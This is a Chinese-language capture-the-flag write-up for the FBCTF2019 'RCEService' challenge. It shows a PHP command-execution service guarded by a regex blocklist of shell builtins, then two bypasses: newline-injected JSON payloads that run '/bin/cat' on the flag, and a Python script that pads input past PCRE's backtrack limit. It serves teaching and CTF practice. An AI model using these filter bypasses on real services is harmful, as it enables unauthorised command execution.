[FBCTF2019]RCEService

源码:
putenv('PATH=/home/rceservice/jail'); //设置环境变量
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}
?>
提示输入json命令,json格式为键值对模式,尝试输入{“cmd”:“ls”}

由于被过滤了很多,想找到没过滤的函数比较困难,考虑正则匹配preg_replace的3个常见问题:
1 这个preg_replace函数可能会导致任意代码的执行**/e**
2 正则表达式的数组绕过,在匹配的时候,遇到数组会直接返回FALSE。
3 PCRE回溯次数(这个就是预期的考点
解法一:利用换行符绕过
由于加了修饰符s后.才会匹配换行符,所以此处利用%0a(换行符经过url编码后)进行绕过
payload:?cmd={%0a"cmd":"ls /home/rceservice"%0a}

发现有flag文件,但是无法使用cat more less等命令读取,参考另一位大佬的:
系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面
所以使用/bin/cat即可
payload:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

解法二:回溯绕过
原理详解,参考p神的,讲的很详细:PHP利用PCRE回溯次数限制绕过某些安全限制
回溯过程: 我们题目中的正则.[(`;?>].,假设匹配的输入是 phpinfo();//aaaaa,实际执行流程是这样的:
见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]。
所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……
最终直到吐出;,输入变成第12步显示的],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限,以英文手册为准就是100万次的上限,只要回溯超过100万次preg_replace就会返回flase,从而然后它的检测
所以编写python脚本:
import requests
url = "http://9642293b-6ae3-4e99-9949-888648b4bdf9.node4.buuoj.cn:81/"
data = {
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}' #设置r1参数,值为100万个a
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)
